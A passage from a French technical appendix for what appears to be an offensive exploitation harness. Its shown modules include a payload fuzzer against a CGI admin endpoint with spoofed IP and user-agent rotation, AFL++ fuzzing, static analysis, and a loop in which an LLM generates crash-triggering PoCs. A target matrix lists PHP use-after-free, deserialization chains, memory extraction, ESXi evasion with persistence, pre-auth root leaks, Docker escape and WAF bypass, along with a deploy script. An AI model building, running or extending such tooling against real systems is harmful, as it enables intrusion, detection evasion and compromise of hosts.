        cur.sort(key=lambda p: len(p))
        cur = cur[::max(1, len(cur)//32)][:32]  # échantillonnage distribué par longueur
    return cur


def send_one(url: str, payload: str, ua: str, xff: str) -&gt; dict | None:
    try:
        if DELAY_MS &gt; 0:
            time.sleep(DELAY_MS / 1000)
        r = requests.get(
            url, params={"device_id": payload},
            headers={"User-Agent": ua, "X-Forwarded-For": xff},
            timeout=5, allow_redirects=False,
        )
        h = hint(r.text)
        if h:
            return {
                "payload": payload[:100],
                "hint": h,
                "status": r.status_code,
                "len": len(r.content),
            }
    except requests.RequestException:
        pass
    return None


def main():
    url = (sys.argv[1] if len(sys.argv) &gt; 1
           else "http://127.0.0.1:8080/cgi-bin/admin.cgi")
    seed = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 1337
    rng = random.Random(seed)

    payloads = []
    for b in BASES.values():
        payloads += mutate(b, rng)

    # Génération des identités rotatives
    identities = [
        (rng.choice(UAS),
         f"{rng.randint(1, 254)}.{rng.randint(0, 254)}."
         f"{rng.randint(0, 254)}.{rng.randint(1, 254)}")
        for _ in payloads
    ]

    hits = []
    # Concurrence : workers configurables (limité pour ne pas DoS le lab)
    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
```

```
        futures = [
            pool.submit(send_one, url, p, ua, xff)
            for p, (ua, xff) in zip(payloads, identities)
        ]
        # v2.4 : collecter dans l'ordre d'envoi (reproductibilité du rapport)
        for fut in futures:  # pas as_completed — ordre déterministe
            result = fut.result()
            if result:
                hits.append(result)

    print(json.dumps({
        "module": "fuzzer_send",
        "seed": seed,
        "total": len(payloads),
        "hits": hits,
        "hits_count": len(hits),
    }, indent=2))


if __name__ == "__main__":
    main()
```

A11. Module 11 — Fuzzing AFL++ (fuzz_module.py)

Sortie redirigée vers fichier. Vérification des prérequis. AFL_EXIT_ON_TIME ajusté à DURATION//4.

Corrections apportées

- **Sortie fichier** : stdout=open(log_file) au lieu de capture_output (économise mémoire)
- **check_prereqs()** : vérifie AFL_DIR, afl-fuzz, target_binary avant lancement
- **AFL_EXIT_ON_TIME** : DURATION//4 (sortie précoce si cible saturée)

Fichier : `fuzz_module.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — module fuzzing AFL++.
# Corrige audit §3.11 :
#   - Sortie redirigée vers fichier (pas capture_output en mémoire)
#   - Vérification du binaire cible et d'AFL++ avant lancement
#   - AFL_EXIT_ON_TIME ajusté à DURATION//4 (sortie précoce si saturé)
#   - Sortie JSON parsée depuis fuzzer_stats (pas depuis stdout)
import json
import os
import subprocess
import sys
import time
from pathlib import Path

ROOT      = Path(__file__).resolve().parent
AFL_DIR   = Path(os.environ.get("AFL_DIR", "/opt/AFLplusplus"))
TARGET    = Path(sys.argv[1]) if len(sys.argv) &gt; 1 else Path("./target_binary")
SEEDS_DIR = Path("./seeds")
OUT_DIR   = Path("./fuzz_out")
# v2.4 : LOG_FILE basé sur ROOT (chemin absolu stable)
LOG_FILE  = ROOT / "fuzz_afl.log"
DURATION  = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 60


class PrereqError(Exception):
    """Erreur de prérequis pour le fuzzing AFL."""
    pass


def check_prereqs():
    """Vérifie les prérequis. Lève PrereqError si manquant."""
    errors = []
    if not AFL_DIR.exists():
        errors.append(f"AFL_DIR not found: {AFL_DIR}")
    afl_bin = AFL_DIR / "afl-fuzz"
    if not afl_bin.exists():
        errors.append(f"afl-fuzz not found: {afl_bin}")
    if not TARGET.exists():
        errors.append(f"target binary not found: {TARGET}")
    if errors:
        raise PrereqError("; ".join(errors))


def run_fuzz():
    """Lance la campagne AFL++ bornée en temps."""
    SEEDS_DIR.mkdir(exist_ok=True)
    try:
        has_seeds = any(SEEDS_DIR.iterdir())
    except (PermissionError, OSError):
        has_seeds = False
    if not has_seeds:
        (SEEDS_DIR / "seed1").write_bytes(b"test input\n")
    import shutil
    # v2.4 : nettoyer l'ancienne campagne (AFL refuse -o non-vide)
    shutil.rmtree(OUT_DIR, ignore_errors=True)
    OUT_DIR.mkdir(exist_ok=True)
    # EXIT_ON_TIME : si pas de nouveau coverage pendant DURATION//4 secondes,
    # sortir (la cible est probablement saturée). -V fixe la durée max.
```

```
    exit_on_time = max(DURATION // 4, 10)
    env = {**os.environ,
           "AFL_TMPDIR": "/dev/shm",
           "AFL_NO_UI": "1",
           "AFL_EXIT_ON_TIME": str(exit_on_time),
           "AFL_FAST_CAL": "1"}
    cmd = [str(AFL_DIR / "afl-fuzz"),
           "-i", str(SEEDS_DIR),
           "-o", str(OUT_DIR),
           "-V", str(DURATION),
           "--", str(TARGET), "@@"]
    # Redirection stdout/stderr vers fichier (pas capture_output en mémoire)
    with open(LOG_FILE, "w") as logf:
        proc = subprocess.run(cmd, stdout=logf, stderr=subprocess.STDOUT,
                              env=env, timeout=DURATION + 60)
    return proc


def collect():
    """Parse les résultats depuis les fichiers AFL (pas depuis stdout)."""
    crashes_dir = OUT_DIR / "default" / "crashes"
    crashes = list(crashes_dir.glob("id:*")) if crashes_dir.exists() else []
    stats_file = OUT_DIR / "default" / "fuzzer_stats"
    stats = {}
    if stats_file.exists():
        for line in stats_file.read_text().splitlines():
            if ":" in line:
                k, v = line.split(":", 1)
                stats[k.strip()] = v.strip()
    return {
        "crashes": len(crashes),
        "execs_done": stats.get("execs_done"),
        "paths_total": stats.get("paths_total"),
        "unique_crashes": stats.get("unique_crashes"),
        "last_update": stats.get("last_update"),
    }


if __name__ == "__main__":
    t0 = time.time()
    try:
        check_prereqs()
    except PrereqError as e:
        print(json.dumps({"module": "afl_fuzz", "error": "prereq_failed", "details": str(e)}))
        sys.exit(2)
    proc = run_fuzz()
    result = collect()
    result.update({
        "module": "afl_fuzz",
        "target": str(TARGET),
        "duration_s": round(time.time() - t0, 1),
        "exit_code": proc.returncode,
        "log_file": str(LOG_FILE),
    })
    print(json.dumps(result, indent=2))
```

A12. Module 12 — Analyse statique (static_analysis.py)

Timeout configurable. CodeQL avec chemin base de données en argument. Query pack explicite. Parsing SARIF inclus dans la sortie JSON.

Corrections apportées

- **Timeout configurable** : env SEMGREP_TIMEOUT (défaut 600s)
- **CODEQL_DB** : chemin base en argument ou variable d'environnement
- **Query pack** : codeql/cpp-queries explicite + --download-codeql
- **Parsing SARIF** : résumé (total + by_severity) inclus dans la sortie

Fichier : `static_analysis.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — analyse statique Semgrep + CodeQL.
# Corrige audit §3.12 :
#   - Timeout configurable (arg ou env)
#   - CodeQL : chemin base de données en argument (--codeql-db)
#   - Query pack explicite (--download-codeql + pack)
#   - Parsing SARIF (résumé inclus dans la sortie JSON)
# v2.4 :
#   - Sortie Semgrep redirigée vers fichier temporaire (anti RAM-bloat)
#   - Fix CODEQL_DB = Path("") → résolvait "." ; check explicite sur string vide
#   - Parallélisation des 3 règles Semgrep (ThreadPoolExecutor)
#   - Capture FileNotFoundError → ENV_ERROR propre si semgrep/codeql absent
import json
import subprocess
import sys
import os
import tempfile
from concurrent.futures import ThreadPoolExecutor, as_completed
from pathlib import Path

TARGET = Path(sys.argv[1]) if len(sys.argv) &gt; 1 else Path("./source")
TIMEOUT = int(os.environ.get("SEMGREP_TIMEOUT", "600"))

# v2.4 : Path("") résout vers "." → check explicite sur string vide
_codeql_db_str = os.environ.get("CODEQL_DB", "").strip()
CODEQL_DB = Path(_codeql_db_str) if _codeql_db_str else None
CODEQL_PACK = os.environ.get("CODEQL_PACK", "codeql/cpp-queries")

SEMGREP_RULES = [
    "p/php",
    "p/c",
    "p/security-audit",
]


def run_semgrep():
    """Lance Semgrep avec les règles configurées (en parallèle)."""
    def _run_one(rule):
        # v2.4 : sortie stdout redirigée vers fichier temporaire (anti RAM-bloat)
        with tempfile.NamedTemporaryFile(mode='w+', suffix='.json', delete=False) as tmpf:
            tmpfile_path = tmpf.name
        try:
            try:
                proc = subprocess.run(
                    ["semgrep", "--config", rule, "--json", "--quiet",
                     "--timeout", str(TIMEOUT), str(TARGET)],
                    stdout=open(tmpfile_path, 'w'),
                    stderr=subprocess.PIPE,
                    timeout=TIMEOUT + 30)
            except FileNotFoundError:
                # v2.4 : semgrep absent → ENV_ERROR propre
                return {"config": rule, "findings": [], "count": 0,
                        "error": "semgrep_not_installed"}
            try:
                data = json.loads(Path(tmpfile_path).read_text() or "{}")
```

```
            except (json.JSONDecodeError, FileNotFoundError):
                data = {"results": [],
                        "error": proc.stderr[:200].decode(errors="replace")
                                 if proc.stderr else "unknown"}
        finally:
            Path(tmpfile_path).unlink(missing_ok=True)

        findings = [
            {
                "rule": r.get("check_id"),
                "path": r.get("path"),
                "line": r.get("start", {}).get("line"),
                "severity": r.get("extra", {}).get("severity"),
            }
            for r in data.get("results", [])
        ]
        return {
            "config": rule,
            "findings": findings,
            "count": len(findings),
        }

    results = []
    with ThreadPoolExecutor(max_workers=3) as pool:
        futures = {pool.submit(_run_one, rule): rule for rule in SEMGREP_RULES}
        for fut in as_completed(futures):
            results.append(fut.result())
    return results


def run_codeql():
    """Lance CodeQL si une base de données est disponible."""
    # v2.4 : None-safe (Path("") résolvait ".")
    if CODEQL_DB is None or not CODEQL_DB.exists():
        return {
            "available": False,
            "hint": "Créer la base : codeql database create codeql-db "
                    "--language=cpp --source-root=. --overwrite",
        }
    sarif_path = "/tmp/codeql_results.sarif"
    try:
        proc = subprocess.run(
            ["codeql", "database", "analyze", str(CODEQL_DB),
             CODEQL_PACK,
             "--format=sarif-latest",
             f"--output={sarif_path}",
             "--download-codeql"],
            capture_output=True, timeout=900)
    except FileNotFoundError:
        # v2.4 : codeql absent → ENV_ERROR propre
        return {"available": True, "error": "codeql_not_installed"}
    except subprocess.TimeoutExpired:
        return {"available": True, "error": "codeql_timeout_900s"}
    # Parse SARIF
    summary = {"total": 0, "by_severity": {}}
    try:
        sarif = json.loads(Path(sarif_path).read_text())
        for run in sarif.get("runs", []):
            for result in run.get("results", []):
                sev = result.get("level", "note")
                summary["total"] += 1
                summary["by_severity"][sev] = \
                    summary["by_severity"].get(sev, 0) + 1
    except (json.JSONDecodeError, FileNotFoundError):
        pass
    return {
        "available": True,
        "exit_code": proc.returncode,
        "sarif_path": sarif_path,
        "summary": summary,
    }


if __name__ == "__main__":
```

```
    report = {
        "module": "static_analysis",
        "target": str(TARGET),
        "semgrep": run_semgrep(),
        "codeql": run_codeql(),
    }
    report["semgrep_total"] = sum(s["count"] for s in report["semgrep"])
    print(json.dumps(report, indent=2))
```

A13. Module 13 — Boucle LLM (llm_exploit_loop.py)

Pré-traitement hex robuste. Exécution sandboxée via nsjail/bwrap. Définition de succès = crash reproductible (3/3) + signal ASAN.

Corrections apportées

- **HEX_RE** : extraction regex du premier bloc hex valide (gère préfixe 0x, prose)
- **Sandbox** : nsjail ou bwrap avec --unshare-net, --ro-bind /, --bind /tmp
- **Reproductibilité** : 3 exécutions, succès si ⩾2/3 crashs
- **ASAN signal** : vérification AddressSanitizer/heap-use-after-free dans stderr
- **Fenêtrage** : 3 derniers essais complets + résumé des autres
- **Endpoint HTTPS/local** : refus HTTP plain vers non-localhost

Fichier : `llm_exploit_loop.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — boucle LLM → PoC → validation → feedback.
# Corrige audit §3.13 + revue v2.2 :
#   - Pré-traitement hex robuste
#   - v2.3 : sandbox OBLIGATOIRE (nsjail/bwrap) — plus de fallback subprocess direct
#   - v2.3 : fenêtrage historique adaptatif (envoie tout si &lt; 8KB, sinon tronque depuis le début)
#   - Endpoint LLM HTTPS ou local obligatoire
# v2.4 :
#   - Unification crash/reproducible : exit sur crash (≥ 2/3), reproducible devient informatif
#   - Retry avec backoff sur timeout/erreur LLM (max_retries=2, 1s/2s)
#   - Distinction timeout LLM vs réponse vide dans l'historique
#   - Résumé historique tronqué inclut stderr_tail des crashes
#   - Documentation des limites de HEX_RE
import json
import os
import re
import subprocess
import sys
import time
import requests

LLM_ENDPOINT = os.environ.get("LLM_ENDPOINT", "http://127.0.0.1:11434/api/generate")
MODEL        = os.environ.get("LLM_MODEL", "llama3")
TARGET_CMD   = sys.argv[1] if len(sys.argv) &gt; 1 else "./target_binary"
MAX_ITER     = int(sys.argv[2]) if len(sys.argv) &gt; 2 else 5
SANDBOX      = os.environ.get("SANDBOX_CMD", "nsjail")  # ou "bwrap"
MAX_HISTORY_CHARS = 8000  # ~2K tokens de contexte LLM

# v2.3 : sandbox OBLIGATOIRE — plus de fallback subprocess direct
if SANDBOX not in ("nsjail", "bwrap"):
    print(json.dumps({
        "module": "llm_exploit_loop",
        "error": "sandbox_required",
        "detail": "SANDBOX_CMD doit être 'nsjail' ou 'bwrap'. "
                  "Exécution directe (subprocess) interdite pour sécurité."
    }))
    sys.exit(2)

# Vérification : endpoint doit être local ou HTTPS
if LLM_ENDPOINT.startswith("http://") and "127.0.0.1" not in LLM_ENDPOINT:
    sys.exit("[FATAL] LLM_ENDPOINT doit être HTTPS ou localhost. "
             "Éviter HTTP plain pour des données sensibles.")

SYSTEM = """Tu génères un PoC (payload binaire) pour déclencher un crash
dans la cible. Réponds UNIQUEMENT avec le payload encodé en hexadécimal
(pas de préfixe 0x, pas d'espaces, pas de prose).
Si un essai précédent a échoué, analyse pourquoi et propose une variante."""

# v2.4 : min 8 hex chars = 4 bytes (payload minimal significatif).
# Plafond [:1024] = 512 bytes max (limite arbitraire anti-abus).
HEX_RE = re.compile(r"(?:0x)?([0-9a-fA-F]{8,})")
```

```
def _call_llm(prompt, max_retries=2):
    """v2.4 : appel LLM avec retry + backoff exponentiel."""
    for attempt in range(max_retries + 1):
        try:
            r = requests.post(
                LLM_ENDPOINT,
                json={"model": MODEL, "prompt": prompt, "stream": False},
                timeout=120)
            return r.json().get("response", "").strip()
        except (requests.RequestException, json.JSONDecodeError):
            if attempt &lt; max_retries:
                time.sleep(2 ** attempt)  # backoff: 1s, 2s
                continue
            return ""  # dernier essai échoué
    return ""


def ask_llm(history: list) -&gt; bytes:
    """Interroge le LLM et extrait le payload hex."""
    # v2.3 : fenêtrage adaptatif. Si l'historique complet tient dans MAX_HISTORY_CHARS,
    # on l'envoie en entier (meilleur contexte pour itération). Sinon, on garde les
    # N derniers essais complets qui tiennent dans la limite.
    full = json.dumps(history, indent=2)
    if len(full) &lt;= MAX_HISTORY_CHARS:
        recent = history
        summary = ""
    else:
        # Tronquer depuis le début (garder les essais récents)
        cutoff = len(history)
        while cutoff &gt; 1 and len(json.dumps(history[-cutoff:], indent=2)) &gt; MAX_HISTORY_CHARS:
            cutoff -= 1
        recent = history[-cutoff:]
        older = history[:-cutoff]
        # v2.4 : résumé inclut stderr_tail des crashes (pas juste crashes_out_of_3)
        older_summary = [
            {
                "exit": h.get("result", {}).get("crashes_out_of_3"),
                "stderr": h.get("result", {}).get("stderr_tail", "")[:80],
            }
            for h in older[-5:]
        ]
        summary = (f"\n\nEssais précédents tronqués ({len(older)} échecs, "
                   f"résumé: {json.dumps(older_summary)}\n")
    prompt = SYSTEM + "\n\nHistorique:\n" + json.dumps(recent, indent=2) + summary
    # v2.4 : appel via helper retry/backoff
    text = _call_llm(prompt)
    # Extraction hex robuste : cherche le premier bloc hex valide
    m = HEX_RE.search(text)
    if m:
        hex_str = m.group(1)
    else:
        hex_str = re.sub(r"[^0-9a-fA-F]", "", text)
    if len(hex_str) &lt; 8:
        return b""
    try:
        return bytes.fromhex(hex_str[:1024])  # plafond 1 KB
    except ValueError:
        return b""


def validate(payload: bytes) -&gt; dict:
    """Exécute la cible avec le payload dans un sandbox.
    Succès = crash reproductible (3/3) + signal ASAN si dispo."""
    poc_path = "/tmp/poc_candidate"
    with open(poc_path, "wb") as f:
        f.write(payload)

    # v2.3 : sandbox OBLIGATOIRE — construction de la commande selon SANDBOX
    if SANDBOX == "nsjail":
        sandbox_cmd = [
            "nsjail",
            "--mode", "o",
            "--time_limit", "10",
            "--disable_clone", "newnet",
```

```
            "--bindmount", "ro:/",
            "--bindmount", "rw:/tmp",
            "--",
            TARGET_CMD, poc_path,
        ]
    elif SANDBOX == "bwrap":
        sandbox_cmd = [
            "bwrap", "--ro-bind", "/", "/",
            "--bind", "/tmp", "/tmp",
            "--unshare-net",
            "--die-with-parent",
            "--",
            TARGET_CMD, poc_path,
        ]
    else:
        # v2.3 : plus de fallback subprocess direct — refus de s'exécuter
        return {"error": "sandbox_not_configured", "crash": False,
                "detail": "SANDBOX_CMD doit être nsjail ou bwrap"}

    # Test de reproductibilité : 3 exécutions
    crashes = 0
    last_stderr = b""
    for _ in range(3):
        try:
            proc = subprocess.run(sandbox_cmd, capture_output=True, timeout=10)
            crashed = proc.returncode &lt; 0 or proc.returncode &gt; 128
            if crashed:
                crashes += 1
            last_stderr = proc.stderr
        except subprocess.TimeoutExpired:
            pass

    # Vérification ASAN si le binaire est instrumenté
    asan_signal = (b"AddressSanitizer" in last_stderr or
                   b"heap-use-after-free" in last_stderr or
                   b"heap-buffer-overflow" in last_stderr)

    return {
        "crash": crashes &gt;= 2,  # reproductible si ≥ 2/3
        "crashes_out_of_3": crashes,
        "reproducible": crashes == 3,  # v2.4 : informatif uniquement
        "asan_signal": asan_signal,
        "stderr_tail": last_stderr[-200:].decode(errors="replace"),
    }


def main():
    history, success = [], False
    for i in range(MAX_ITER):
        t0 = time.time()
        payload = ask_llm(history)
        if not payload:
            # v2.4 : Distinguer timeout LLM vs réponse vide
            history.append({"iter": i, "error": "llm_timeout_or_empty"})
            continue
        result = validate(payload)
        history.append({
            "iter": i,
            "payload_hex": payload.hex()[:120],
            "len": len(payload),
            "result": result,
            "ms": round((time.time() - t0) * 1000, 1),
        })
        # v2.4 : exit sur crash (≥ 2/3) ; reproducible est informatif
        if result.get("crash"):
            success = True
            break
    print(json.dumps({
        "module": "llm_exploit_loop",
        "iterations": len(history),
        "success": success,
        "model": MODEL,
        "sandbox": SANDBOX,
        "history": history,
```

```
    }, indent=2))


if __name__ == "__main__":
    main()
```

A14. J7 — Matrice contractuelle (matrix.json)

Expressions expected corrigées et évaluées via safe_eval(). L'expression c_heap utilise raw_head (le module C sort du texte, pas du JSON).

Corrections apportées

- **c_heap** : 'UAF_HARNESS_OK' in summary.get('raw_head', '') au lieu de exit_code==0
- **php_chain** : stable_across_10_runs is True ajouté au check
- **Expressions** : évaluées via safe_eval() (AST whitelist) dans l'orchestrateur

Fichier : `matrix.json`

```
{
  "harness": "2.4.0",
  "schema_version": "1.0",
  "targets": {
    "php_uaf": {
      "schema_version": "1.0",
      "php": "7.4.33-debug-asan",
      "expected": "summary.get('gc_cycles', 0) &gt; 0",
      "note": "gc_cycles &gt; 0 valide la collecte de cycles. gc_reuse_proxy_ratio mesure le grooming (proxy spl_object_id)
    },
    "php_chain": {
      "schema_version": "1.0",
      "monolog": "2.9.1",
      "guzzle": "7.4.5",
      "expected": "summary.get('payload_sha256') is not None and summary.get('stable_across_10_runs') is True and summary.g
      "note": "Stabilité byte-à-byte + validation fonctionnelle de la désérialisation."
    },
    "c_heap": {
      "schema_version": "1.0",
      "glibc": "2.31",
      "expected": "'UAF_HARNESS_OK' in (summary.get('raw_full') or summary.get('raw_head') or '')",
      "note": "raw_full = stdout complet (fallback raw_head si None). Le module C sort du texte."
    },
    "gdb_extract": {
      "schema_version": "1.0",
      "php-fpm": "7.4",
      "expected": "'regions_scanned' in summary",
      "note": "regions_scanned présent valide l'exécution (pas regions_found&gt;=0 qui est tautologie)."
    },
    "esxi_evasion": {
      "schema_version": "1.0",
      "esxi": "7.0",
      "expected": "summary.get('status') == 'evasion_active'",
      "note": "Status evasion_active valide neutralisation + persistance."
    },
    "preauth": {
      "schema_version": "1.0",
      "cgi": "vuln",
      "expected": "summary.get('any_leak') is True",
      "note": "any_leak true si au moins une variante déclenche uid=/root:."
    },
    "docker_escape": {
      "schema_version": "1.0",
      "docker": "20.10+",
      "socket": "rw",
      "expected": "summary.get('escape_ok') is True",
      "note": "escape_ok true si uid= ou root: visible dans les logs."
    },
    "waf_bypass": {
      "schema_version": "1.0",
      "waf": "modsec-crs",
      "expected": "summary.get('any_bypass') is True",
      "note": "any_bypass true si au moins une variante passe le WAF."
    },
    "fuzzer_send": {
      "schema_version": "1.0",
      "seed": 1337,
```

```
      "expected": "summary.get('total', 0) &gt; 0",
      "note": "total &gt; 0 valide que des payloads ont été générés et envoyés."
    },
    "afl_fuzz": {
      "schema_version": "1.0",
      "afl": "AFLplusplus-4.20c",
      "expected": "summary.get('execs_done') is not None",
      "note": "execs_done présent valide que la campagne a démarré."
    },
    "static_analysis": {
      "schema_version": "1.0",
      "semgrep": "1.50+",
      "codeql": "2.14+",
      "expected": "summary.get('semgrep_total') is not None",
      "note": "semgrep_total présent valide l'exécution de l'analyse."
    },
    "llm_exploit": {
      "schema_version": "1.0",
      "model": "llama3",
      "expected": "summary.get('iterations') is not None",
      "note": "iterations présent valide que la boucle a tourné. success peut être False."
    }
  }
}
```

A15. J6 — Sandbox runner (sandbox_runner.py)

Isolation d'exécution par module. Conteneur Docker dédié avec --cap-drop ALL, --read-only, limites mémoire/CPU. Profils par module.

Corrections apportées

- **--network none** : la plupart des modules (pas --network host)
- **--memory 512m --cpus 1.0** : limites ressources par conteneur
- **--stop-timeout 290** : sync avec orchestrateur (300s)
- **tmpfs_exec** : configurable par profil (noexec sauf si nécessaire)
- **Cleanup** : --rm garantit la suppression du conteneur

Fichier : `sandbox_runner.py`

```
#!/usr/bin/env python3
# HARNESS-VALIDATION v2.4.0 — isolation d'exécution (audit J6, §4.4 + revue v2.2).
# Corrige revue J6 + v2.2 :
#   - v2.2 : --network none + loopback seulement
#   - v2.3 : fix "loopback" n'est pas un réseau Docker valide → "host" pour modules réseau
#   - v2.3 : --stop-timeout ne borne pas l'exécution → timeout externe
#   - v2.3 : limites mémoire/CPU conservées
#   - v2.4 : documentation --privileged vs --cap-drop ALL (docker_escape)
#   - v2.4 : vérification de disponibilité de 'timeout' (absent sur macOS natif)
#   - v2.4 : limite stdout 2000 → 8192 (préserver JSON complet)
#   - v2.4 : vérification que le daemon Docker est actif avant docker run
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path

ROOT = Path(__file__).parent.resolve()
TIMEOUT = 290  # &lt; 300s orchestrateur pour laisser marge


def _check_timeout_available() -&gt; bool:
    """v2.4 : vérifier que 'timeout' est dans le PATH (pas sur macOS natif)."""
    return bool(shutil.which("timeout"))


def check_docker_daemon() -&gt; bool:
    """v2.4 : vérifier que le daemon Docker est actif."""
    try:
        proc = subprocess.run(
            ["docker", "info", "--format", "{{.ServerVersion}}"],
            capture_output=True, timeout=5)
        return proc.returncode == 0
    except (FileNotFoundError, subprocess.TimeoutExpired):
        return False

# Profils par module.
# Réseau :
#   "none"  = aucune interface réseau (loopback interne seulement)
#   "host"  = réseau hôte (pour modules devant atteindre 127.0.0.1 du host)
# Note : "host" donne accès au réseau complet de l'hôte. Pour un lab isolé,
# c'est acceptable. Pour production, créer un bridge --internal dédié.
PROFILES = {
    "php_uaf": {
        "image": "harness/php-asan:7.4",
        "caps": [],
        "net": "none",
        "tmpfs_exec": True,
    },
    "php_chain": {
        "image": "harness/php-chain:latest",
        "caps": [],
```

```
        "net": "none",
        "tmpfs_exec": True,
    },
    "c_heap": {
        "image": "harness/glibc-2.31:latest",
        "caps": ["SYS_PTRACE"],
        "net": "none",
        "tmpfs_exec": False,
    },
    "gdb_extract": {
        "image": "harness/gdb:latest",
        "caps": ["SYS_PTRACE"],
        "net": "none",
        "tmpfs_exec": False,
        "pid": "host",
    },
    "esxi_evasion": {
        "image": "harness/busybox:latest",
        "caps": [],
        "net": "none",
        "tmpfs_exec": True,
    },
    "preauth": {
        "image": "harness/net-tools:latest",
        "caps": [],
        "net": "host",  # doit atteindre 127.0.0.1:8080 du host
        "tmpfs_exec": False,
    },
    "docker_escape": {
        "image": "docker:cli",
        "caps": [],
        "net": "none",
        "tmpfs_exec": False,
        "mounts": [("/var/run/docker.sock", "/var/run/docker.sock")],
        "privileged": True,
    },
    "waf_bypass": {
        "image": "harness/net-h2:latest",
        "caps": [],
        "net": "host",  # doit atteindre 127.0.0.1:8080 du host
        "tmpfs_exec": False,
    },
    "fuzzer_send": {
        "image": "harness/net-requests:latest",
        "caps": [],
        "net": "host",  # doit atteindre 127.0.0.1:8080 du host
        "tmpfs_exec": False,
    },
    "afl_fuzz": {
        "image": "harness/aflpp:latest",
        "caps": [],
        "net": "none",
        "tmpfs_exec": True,
    },
    "static_analysis": {
        "image": "harness/sast:latest",
        "caps": [],
        "net": "none",
        "tmpfs_exec": False,
    },
    "llm_exploit": {
        "image": "harness/llm-sandbox:latest",
        "caps": [],
        "net": "host",  # LLM local via 127.0.0.1:11434 (Ollama)
        "tmpfs_exec": True,
    },
}


def build_docker_args(module: str, p: dict) -&gt; list[str]:
    # v2.4 : vérifier la disponibilité de 'timeout' (absent sur macOS natif).
    # Si absent, on ne l'ajoute pas aux args et on se repose uniquement sur
    # le timeout de subprocess.run() côté Python (moins précis mais fonctionnel).
    args: list[str] = []
```

```
    if _check_timeout_available():
        args += ["timeout", str(TIMEOUT)]
    else:
        # Avertir via stderr — pas de retour structuré ici car build_docker_args
        # est appelé avant run_sandboxed qui structure la sortie.
        import sys as _sys
        _sys.stderr.write(
            f"[!] sandbox_runner v2.4: 'timeout' absent du PATH — "
            f"fallback sur subprocess timeout uniquement\n"
        )
    args += ["docker", "run", "--rm", "-i",
             "--network", p["net"],
             "--read-only",
             "--cap-drop", "ALL",
             "--memory", "512m",
             "--cpus", "1.0",
             ]
    # tmpfs : /tmp rw, exec si le profil le permet
    tmpfs_opts = "rw,nosuid,size=512m"
    if not p.get("tmpfs_exec", False):
        tmpfs_opts += ",noexec"
    args += ["--tmpfs", f"/tmp:{tmpfs_opts}"]
    # Capabilities
    for cap in p.get("caps", []):
        args += ["--cap-add", cap]
    # PID mode
    if p.get("pid") == "host":
        args += ["--pid", "host"]
    # Mounts
    for host_path, cont_path in p.get("mounts", []):
        args += ["-v", f"{host_path}:{cont_path}"]
    # Privileged (docker_escape seulement)
    # v2.4 : Note — --privileged bypass --cap-drop ALL. Pour le profil
    # docker_escape, --cap-drop ALL est sans effet car --privileged est activé.
    # C'est intentionnel (le test d'évasion nécessite un conteneur privilégié).
    if p.get("privileged"):
        args += ["--privileged"]
    # Mount harness en read-only
    args += ["-v", f"{ROOT}:/harness:ro", "-w", "/harness",
             p["image"]]
    return args


def run_sandboxed(module: str, cmd: list[str]) -&gt; dict:
    p = PROFILES.get(module)
    if not p:
        return {"error": f"no profile for {module}"}
    # v2.4 : vérifier que le daemon Docker est actif avant de construire
    # les args et de lancer le conteneur. Sinon docker run renverrait une
    # erreur cryptique ("Cannot connect to the Docker daemon...").
    if not check_docker_daemon():
        return {"error": "docker_daemon_not_running"}
    args = build_docker_args(module, p) + cmd
    try:
        proc = subprocess.run(args, capture_output=True, timeout=TIMEOUT + 10)
        return {
            "exit_code": proc.returncode,
            # v2.4 : limite stdout augmentée 2000 → 8192 pour préserver les
            # sorties JSON complètes (les modules comme preauth/llm_exploit
            # renvoient du JSON qui serait tronqué sinon).
            "stdout": proc.stdout.decode(errors="replace")[:8192],
            "stderr": proc.stderr.decode(errors="replace")[:1000],
        }
    except subprocess.TimeoutExpired:
        return {"error": "timeout", "exit_code": -1}
    except FileNotFoundError:
        return {"error": "docker_not_installed"}
    except Exception as e:
        return {"error": type(e).__name__}


if __name__ == "__main__":
    if len(sys.argv) &lt; 2:
        print(json.dumps({"profiles": list(PROFILES.keys())}, indent=2))
```

```
    sys.exit(0)
module = sys.argv[1]
cmd = sys.argv[2:]
print(json.dumps(run_sandboxed(module, cmd), indent=2))
```

A16. Déploiement (deploy.sh + requirements.txt)

Script de déploiement complet : vérification prérequis, venv Python, build module C, build images Docker sandbox, génération clé, lancement.

Fichier : `deploy.sh`

```
#!/usr/bin/env bash
# HARNESS-VALIDATION v2.2.0 — déploiement complet.
# Installe et lance le harness, produit le rapport signé.
# Corrige audit §6.3 : dépendances épinglées, vérification prérequis.
set -euo pipefail
DEST=${1:-/opt/harness}
SCRIPT_DIR="$(cd "$(dirname "$0")" &amp;&amp; pwd)"

echo "[+] Installation dans $DEST"
mkdir -p "$DEST"
# v2.4 : cp -r avec dotfiles (shopt -s dotglob) — le glob * ignore les fichiers cachés
( cd "$SCRIPT_DIR" &amp;&amp; shopt -s dotglob &amp;&amp; cp -r * "$DEST/" )
cd "$DEST"

# ── Vérification des prérequis ──────────────────────────
echo "[+] Vérification des prérequis..."
for cmd in python3 php docker; do
    if ! command -v "$cmd" &gt;/dev/null 2&gt;&amp;1; then
        echo "[!] $cmd non installé — certains modules seront ignorés"
    fi
done

# ── Environnement Python ────────────────────────────────
echo "[+] Création environnement Python..."
python3 -m venv .venv
.venv/bin/pip install --quiet --upgrade pip
.venv/bin/pip install --quiet -r requirements.txt

# ── PHP Composer (module 2) ─────────────────────────────
if [ -f composer.json ]; then
    echo "[+] Installation dépendances PHP..."
    if command -v composer &gt;/dev/null 2&gt;&amp;1; then
        # v2.4 : afficher les erreurs Composer (pas tout masquer)
        if ! composer install --no-dev --quiet 2&gt;&amp;1 | tail -5; then
            echo "[!] Composer install échoué — module php_chain ignoré"
        fi
    else
        echo "[!] Composer non installé — module php_chain ignoré"
    fi
fi

# ── Build du module C (module 3) ────────────────────────
if [ -f c_heap_exploit.c ]; then
    echo "[+] Build c_heap_exploit..."
    # v2.3 : -ldl pour dlopen/dlsym. v2.4 : -g conditionnel via DEBUG env
    DEBUG_FLAGS="${DEBUG:+-g}"
    gcc $DEBUG_FLAGS -no-pie -fno-stack-protector -Wall -Wextra \
        -o c_heap_exploit c_heap_exploit.c -ldl 2&gt;/dev/null || \
